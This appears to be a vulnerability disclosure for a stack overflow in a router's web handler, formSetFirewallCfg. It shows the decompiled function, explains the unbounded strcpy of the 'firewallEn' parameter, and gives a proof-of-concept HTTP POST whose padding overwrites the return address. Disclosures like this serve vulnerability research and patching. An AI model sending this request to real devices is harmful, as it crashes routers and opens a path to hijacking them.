

Stack Overflow in function `SetFirewallCfg`

Function address: `0x00487510`

```

void __fastcall formSetFirewallCfg(_DWORD *a1)
{
    _BOOL4 v1; // [sp+20h] [+20h]
    char *s; // [sp+24h] [+24h]
    int v3[2]; // [sp+28h] [+28h] BYREF
    char v4[64]; // [sp+30h] [+30h] BYREF
    int v5[2]; // [sp+70h] [+70h] BYREF
    char v6[64]; // [sp+78h] [+78h] BYREF

    v3[0] = 0;
    v3[1] = 0;
    memset(v4, 0, sizeof(v4));
    v5[0] = 0;
    v5[1] = 0;
    memset(v6, 0, sizeof(v6));
    s = (char *)websGetVar(a1, "firewallEn", "1111");
    if ( strlen(s) >= 4 )
    {
        strcpy((char *)v3, s);
        GetValue("security.ddos.map", v4);
        GetValue("firewall.pingwan", v5);
        sprintf(v6, "%c,1500;%c,1500;%c,1500", SLOBYTE(v3[0]), SBYTE2(v3[0]), SBYTE1(v3[0]));
        SetValue("security.ddos.map", v6);
        SetValue("firewall.pingwan", (char *)v3 + 3);
        doSystemCmd("cfm post netctrl ddos_ip_fence?op=6");
    }
    v1 = CommitCfm() == 0;
    websWrite(a1, "HTTP/1.0 200 OK\r\n\r\n");
    websWrite(a1, "{\\"errCode\\":%d}", v1);
    websDone(a1, 200);
}

```

User control pointer s by parameter firewallEn in web requesting; v3 is an array on the stack, and using `strcpy` to copy `s` to v3 without length limit will cause stack overflow.

PoC

```

1 POST /goform/SetFirewallCfg HTTP/1.1
2 Host: 192.168.0.1
3 Content-Length: 163
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/84.0.4147.105 Safari/537.36
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://192.168.0.1
9 Referer: http://192.168.0.1/wireless_ssid.html
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie: password=dgwlqw
13 Connection: close

14 firewallEn=
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb

```

Return address is overflowed by bbbb